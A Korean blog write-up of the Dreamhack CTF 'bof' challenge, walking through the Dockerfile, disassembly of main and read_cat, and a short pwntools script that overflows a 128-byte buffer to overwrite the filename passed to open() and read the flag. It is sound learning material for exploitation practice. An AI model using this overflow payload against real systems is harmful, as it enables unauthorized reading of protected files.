[Dreamhack CTF] bof

Sungwuk·2024년 9월 21일
0

dreamhack

목록 보기
5/17

❓ 버퍼오버플로우 공격 문제

문제를 다운 받으면 도커파일 하나랑

이렇게 파일 3개가 들어가 있다.

cat, flag는 택스트로 되어 있고 bof는 바이너리 파일로 되어 있어서 bof가 실행파일이라고 생각했다.

그리고 bof를 실행시켜보면

입력값을 받고, 다시 출력한다.


주어진 도커파일을 읽어보면

FROM ubuntu:22.04@sha256:2b7412e6465c3c7fc5bb21d3e6f1917c167358449fecac8176c6e496e5c1f05f
# 우분투 22.04 이미지를 SHA256 해시로 명시하여 기반 이미지로 사용

ENV user bof
# 환경 변수 'user''bof'라는 사용자 이름을 설정

ENV chall_port 31337
# 환경 변수 'chall_port'에 챌린지에서 사용할 포트 번호 31337을 설정

RUN apt-get update
# 패키지 목록을 최신 상태로 업데이트

RUN apt-get -y install socat
# 네트워크 연결 포워딩 및 터널링을 위한 socat 패키지 설치

RUN adduser $user
# $user 변수로 지정된 'bof' 사용자를 추가

ADD ./deploy/flag /home/$user/flag
# 로컬 deploy 디렉터리의 flag 파일을 컨테이너의 /home/$user/ 경로에 복사

ADD ./deploy/$user /home/$user/$user
# 로컬 deploy 디렉터리의 사용자 실행 파일을 컨테이너의 /home/$user/ 경로에 복사

ADD ./deploy/cat /home/$user/cat
# 로컬 deploy 디렉터리의 cat 파일을 컨테이너의 /home/$user/ 경로에 복사

RUN chown root:$user /home/$user/flag
# flag 파일의 소유자를 root, 그룹을 $user (bof)로 설정

RUN chown root:$user /home/$user/$user
# 사용자 실행 파일의 소유자를 root, 그룹을 $user (bof)로 설정

RUN chown root:$user /home/$user/cat
# cat 파일의 소유자를 root, 그룹을 $user (bof)로 설정

RUN chmod 755 /home/$user/$user
# 사용자 실행 파일에 대해 소유자는 읽기, 쓰기, 실행 권한, 그룹 및 다른 사용자에 대해 읽기 및 실행 권한 설정

RUN chmod 440 /home/$user/flag
# flag 파일에 대해 소유자는 읽기 권한, 그룹은 읽기 권한, 다른 사용자에 대한 권한 없음 설정

RUN chmod 440 /home/$user/cat
# cat 파일에 대해 소유자는 읽기 권한, 그룹은 읽기 권한, 다른 사용자에 대한 권한 없음 설정

WORKDIR /home/$user
# 컨테이너의 작업 디렉터리를 /home/$user로 설정

USER $user
# $user (bof) 사용자를 컨테이너의 기본 사용자로 설정

EXPOSE $chall_port
# $chall_port (31337) 포트를 컨테이너 외부에 노출

CMD socat -T 60 TCP-LISTEN:$chall_port,reuseaddr,fork EXEC:/home/$user/$user
# socat 명령어를 사용하여 60초의 타임아웃을 설정하고 TCP 연결을 $chall_port 포트에서 수신,
# 연결될 때마다 /home/$user/$user 파일을 실행

여기서 bof가 실행파일인것을 알수가 있다.

그리고 바이너리 파일 bof를 디버깅 해야하는데 난 2가지 방법을 찾았다.

objdump 명령어를 사용하는것과 pwndbg를 사용하는 것이다.

$ objdump -d bof

이거부터 설명하자면 이상한게 많이 나오는데 우리는 일단 main을 보면된다. 왜냐 main에서 프로그램이 시작하니까

0000000000401391 <main>:
  401391:       f3 0f 1e fa             endbr64
  401395:       55                      push   %rbp
  401396:       48 89 e5                mov    %rsp,%rbp
  401399:       48 81 ec 90 00 00 00    sub    $0x90,%rsp
  4013a0:       b8 00 00 00 00          mov    $0x0,%eax
  4013a5:       e8 82 ff ff ff          call   40132c <init>
  4013aa:       48 8d 45 f0             lea    -0x10(%rbp),%rax
  4013ae:       c7 00 2e 2f 63 61       movl   $0x61632f2e,(%rax)
  4013b4:       66 c7 40 04 74 00       movw   $0x74,0x4(%rax)
  4013ba:       48 8d 05 6c 0c 00 00    lea    0xc6c(%rip),%rax        # 40202d <_IO_stdin_used+0x2d>
  4013c1:       48 89 c7                mov    %rax,%rdi
  4013c4:       b8 00 00 00 00          mov    $0x0,%eax
  4013c9:       e8 02 fd ff ff          call   4010d0 <printf@plt>
  4013ce:       48 8d 85 70 ff ff ff    lea    -0x90(%rbp),%rax
  4013d5:       48 89 c6                mov    %rax,%rsi
  4013d8:       48 8d 05 55 0c 00 00    lea    0xc55(%rip),%rax        # 402034 <_IO_stdin_used+0x34>
  4013df:       48 89 c7                mov    %rax,%rdi
  4013e2:       b8 00 00 00 00          mov    $0x0,%eax
  4013e7:       e8 44 fd ff ff          call   401130 <__isoc99_scanf@plt>
  4013ec:       48 8d 45 f0             lea    -0x10(%rbp),%rax
  4013f0:       48 89 c7                mov    %rax,%rdi
  4013f3:       e8 3e fe ff ff          call   401236 <read_cat>
  4013f8:       48 8d 85 70 ff ff ff    lea    -0x90(%rbp),%rax
  4013ff:       48 89 c6                mov    %rax,%rsi
  401402:       48 8d 05 31 0c 00 00    lea    0xc31(%rip),%rax        # 40203a <_IO_stdin_used+0x3a>
  401409:       48 89 c7                mov    %rax,%rdi
  40140c:       b8 00 00 00 00          mov    $0x0,%eax
  401411:       e8 ba fc ff ff          call   4010d0 <printf@plt>
  401416:       b8 00 00 00 00          mov    $0x0,%eax
  40141b:       c9                      leave
  40141c:       c3                      ret

이게 objdump고

pwndbg> file ./bof

pwndbg> disassem main
Dump of assembler code for function main:
   0x0000000000401391 <+0>:     endbr64
   0x0000000000401395 <+4>:     push   rbp
   0x0000000000401396 <+5>:     mov    rbp,rsp
   0x0000000000401399 <+8>:     sub    rsp,0x90
   0x00000000004013a0 <+15>:    mov    eax,0x0
   0x00000000004013a5 <+20>:    call   0x40132c <init>
   0x00000000004013aa <+25>:    lea    rax,[rbp-0x10]
   0x00000000004013ae <+29>:    mov    DWORD PTR [rax],0x61632f2e
   0x00000000004013b4 <+35>:    mov    WORD PTR [rax+0x4],0x74
   0x00000000004013ba <+41>:    lea    rax,[rip+0xc6c]        # 0x40202d
   0x00000000004013c1 <+48>:    mov    rdi,rax
   0x00000000004013c4 <+51>:    mov    eax,0x0
   0x00000000004013c9 <+56>:    call   0x4010d0 <printf@plt>
   0x00000000004013ce <+61>:    lea    rax,[rbp-0x90]
   0x00000000004013d5 <+68>:    mov    rsi,rax
   0x00000000004013d8 <+71>:    lea    rax,[rip+0xc55]        # 0x402034
   0x00000000004013df <+78>:    mov    rdi,rax
   0x00000000004013e2 <+81>:    mov    eax,0x0
   0x00000000004013e7 <+86>:    call   0x401130 <__isoc99_scanf@plt>
   0x00000000004013ec <+91>:    lea    rax,[rbp-0x10]
   0x00000000004013f0 <+95>:    mov    rdi,rax
   0x00000000004013f3 <+98>:    call   0x401236 <read_cat>
   0x00000000004013f8 <+103>:   lea    rax,[rbp-0x90]
   0x00000000004013ff <+110>:   mov    rsi,rax
   0x0000000000401402 <+113>:   lea    rax,[rip+0xc31]        # 0x40203a
   0x0000000000401409 <+120>:   mov    rdi,rax
   0x000000000040140c <+123>:   mov    eax,0x0
   0x0000000000401411 <+128>:   call   0x4010d0 <printf@plt>
   0x0000000000401416 <+133>:   mov    eax,0x0
   0x000000000040141b <+138>:   leave
   0x000000000040141c <+139>:   ret
End of assembler dump.

이거 pwndbg 출력이다. 이게 더 편하다.

우선 함수 호출(call)을 우선적으로 봐야한다.

<+20>에서 init 함수를 호출하여 초기화
<+56>에서 print를 함수 호출 (meow?)
<+86>에서 scanf함수 호출
<+98> read_cat 함수 호출
<+128> print 함수 호출 (나머지 고양이랑 직전 입력값)

그럼 read_cat이란 함수도 사용자가 작성한 함수고 디버깅해야 한다고 생각해야한다.

pwndbg> disassem read_cat

pwndbg> disassem read_cat
Dump of assembler code for function read_cat:
   0x0000000000401236 <+0>:     endbr64
   0x000000000040123a <+4>:     push   rbp
   0x000000000040123b <+5>:     mov    rbp,rsp
   0x000000000040123e <+8>:     sub    rsp,0xa0
   0x0000000000401245 <+15>:    mov    QWORD PTR [rbp-0x98],rdi
   0x000000000040124c <+22>:    lea    rax,[rbp-0x90]
   0x0000000000401253 <+29>:    mov    edx,0x80
   0x0000000000401258 <+34>:    mov    esi,0x0
   0x000000000040125d <+39>:    mov    rdi,rax
   0x0000000000401260 <+42>:    call   0x4010e0 <memset@plt>
   0x0000000000401265 <+47>:    mov    DWORD PTR [rbp-0x4],0x0
   0x000000000040126c <+54>:    mov    rax,QWORD PTR [rbp-0x98]
   0x0000000000401273 <+61>:    mov    esi,0x0
   0x0000000000401278 <+66>:    mov    rdi,rax
   0x000000000040127b <+69>:    mov    eax,0x0
   0x0000000000401280 <+74>:    call   0x401120 <open@plt>
   0x0000000000401285 <+79>:    mov    DWORD PTR [rbp-0x4],eax
   0x0000000000401288 <+82>:    cmp    DWORD PTR [rbp-0x4],0xffffffff
   0x000000000040128c <+86>:    jne    0x4012a7 <read_cat+113>
   0x000000000040128e <+88>:    lea    rax,[rip+0xd6f]        # 0x402004
   0x0000000000401295 <+95>:    mov    rdi,rax
   0x0000000000401298 <+98>:    call   0x4010c0 <puts@plt>
   0x000000000040129d <+103>:   mov    edi,0x1
   0x00000000004012a2 <+108>:   call   0x401140 <exit@plt>
   0x00000000004012a7 <+113>:   lea    rcx,[rbp-0x90]
   0x00000000004012ae <+120>:   mov    eax,DWORD PTR [rbp-0x4]
   0x00000000004012b1 <+123>:   mov    edx,0x80
   0x00000000004012b6 <+128>:   mov    rsi,rcx
   0x00000000004012b9 <+131>:   mov    edi,eax
   0x00000000004012bb <+133>:   call   0x401100 <read@plt>
   0x00000000004012c0 <+138>:   mov    QWORD PTR [rbp-0x10],rax
   0x00000000004012c4 <+142>:   cmp    QWORD PTR [rbp-0x10],0xffffffffffffffff
   0x00000000004012c9 <+147>:   jne    0x4012e4 <read_cat+174>
   0x00000000004012cb <+149>:   lea    rax,[rip+0xd3f]        # 0x402011
   0x00000000004012d2 <+156>:   mov    rdi,rax
   0x00000000004012d5 <+159>:   call   0x4010c0 <puts@plt>
   0x00000000004012da <+164>:   mov    edi,0x1
   0x00000000004012df <+169>:   call   0x401140 <exit@plt>
   0x00000000004012e4 <+174>:   lea    rax,[rip+0xd33]        # 0x40201e
   0x00000000004012eb <+181>:   mov    rdi,rax
   0x00000000004012ee <+184>:   call   0x4010c0 <puts@plt>
   0x00000000004012f3 <+189>:   lea    rax,[rbp-0x90]
   0x00000000004012fa <+196>:   mov    rdi,rax
   0x00000000004012fd <+199>:   call   0x4010c0 <puts@plt>
   0x0000000000401302 <+204>:   mov    eax,DWORD PTR [rbp-0x4]
   0x0000000000401305 <+207>:   mov    edi,eax
   0x0000000000401307 <+209>:   call   0x4010f0 <close@plt>
   0x000000000040130c <+214>:   test   eax,eax
   0x000000000040130e <+216>:   je     0x401329 <read_cat+243>
   0x0000000000401310 <+218>:   lea    rax,[rip+0xd08]        # 0x40201f
   0x0000000000401317 <+225>:   mov    rdi,rax
   0x000000000040131a <+228>:   call   0x4010c0 <puts@plt>
   0x000000000040131f <+233>:   mov    edi,0x1
   0x0000000000401324 <+238>:   call   0x401140 <exit@plt>
   0x0000000000401329 <+243>:   nop
   0x000000000040132a <+244>:   leave
   0x000000000040132b <+245>:   ret
End of assembler dump.

이번에도 함수 호출 call을 중점적으로 분석
<+42> memset함수를 사용하여 128 바이트를 0바이트로 초기화

  • <+29> mov edx, 0x80(128바이트)
  • rbp(스택의 시작점) 부터 버퍼가 시작하는 것으로 추정
    <+74> open 함수 호출
    <+133> read 함수 실행
    puts 함수들로 출력

📍트리거 확인


open() error 발생

🗡️공격 시나리오

버퍼를 꽉 채운 후, 그 뒤에 /home/bof/flag의 위치를 입력해주면 open의 인자값으로 들어가면서 flag가 나오지 않을까?

버퍼 크기: 128바이트

from pwn import *

p = remote("host1.dreamhack.games", 14536)

payload = b'a' * 128
payload += b'/home/bof/flag'

p.sendlineafter(b'meow? ', payload)

p.interactive()

후기

여러 풀이들을 참고 했는데 C코드를 가지고 분석하는 풀이가 있어서 Ghidra를 설치하여 디컴파일을 시도 했었다. 다른 풀이에서는 IDA를 사용하여 디컴파일 및 리버싱 하는 방법도 고려해 볼 수 있다는데 아직 좀 더 공부 해야하는 부분이다. 디버깅 방법도 괜찮을거 같다.

profile
보안전문가 꿈나무

0개의 댓글